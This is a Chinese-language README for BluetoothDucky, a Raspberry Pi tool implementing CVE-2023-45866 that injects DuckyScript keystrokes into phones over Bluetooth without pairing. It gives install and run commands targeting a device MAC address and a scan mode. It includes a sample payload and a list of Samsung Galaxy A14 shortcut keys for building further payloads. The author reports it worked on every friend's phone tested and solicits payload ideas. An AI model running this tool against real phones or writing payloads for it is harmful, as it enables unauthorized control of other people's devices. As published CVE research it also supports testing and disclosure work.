CVE-2023-45866 - BluetoothDucky 实现(使用 DuckyScript)
这是 marcnewlin 发现的 CVE 的一个实现 [https://github.com/marcnewlin/hi_my_name_is_keyboard]
我创建了一个 ducky_convert.py,以便尽可能少地修改 hid.py 文件,方便将来使用。
仍在为它构思一些 payload 思路。
我使用树莓派 4 内置的默认蓝牙模块运行它。我已经用它测试了我朋友们的每一部手机,都能正常工作。我发现的唯一问题是新西兰手机品牌 Vodafone,它默认会阻止该攻击,尽管那部手机已经多年没有开机了(会要求配对),讽刺的是它竟然是最安全的。
仍需调整所有与 ducky 相关的措辞/术语,但受限于可用于测试的设备数量。
REM 这只是注释
string test123
ENTER
这会在文本字段中输入 test123,然后按下 ENTER 键。
把这个代码放出来,供任何想帮忙的人使用。
安装说明(摘自 marcnewlin)
# 更新 apt
sudo apt-get update
sudo apt-get -y upgrade
# 通过 apt 安装依赖
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
git gcc python3-pip python3-setuptools \
python3-pydbus
# 从源码安装 pybluez
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
# 从 bluez 源码构建 bdaddr
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/
然后直接
git clone https://github.com/pentestfunctions/BluetoothDucky
cd BluetoothDucky
sudo python3 BluetoothDucky.py -i hci0 -t 00:00:00:00:00:00
sudo python3 BluetoothDucky.py --scan
它会在同一目录下查找 payload.txt 文件,该文件可以直接是 ducky 脚本——先从本仓库提供的简单示例开始尝试。
实现一个 step 函数,用于检查已发送 payload 行的最后一个字符,以便在失败时从该处重新发送/继续,而不是重发整行。
Galaxy A14/SM-A14F
GUI + D(桌面)
GUI + E(电子邮件)
GUI + F(查找)
GUI + H(三星音频?)
GUI + K(日历)
GUI + M(地图)
GUI + N(通知)
GUI + T(音乐?)
GUI + Q(完整通知)
GUI + R(最近文件)
GUI + S(消息?)
GUI + U(无障碍)
GUI + V(音量)
GUI + Z(设置)
ALT + A(应用抽屉)
Alt + Space(搜索)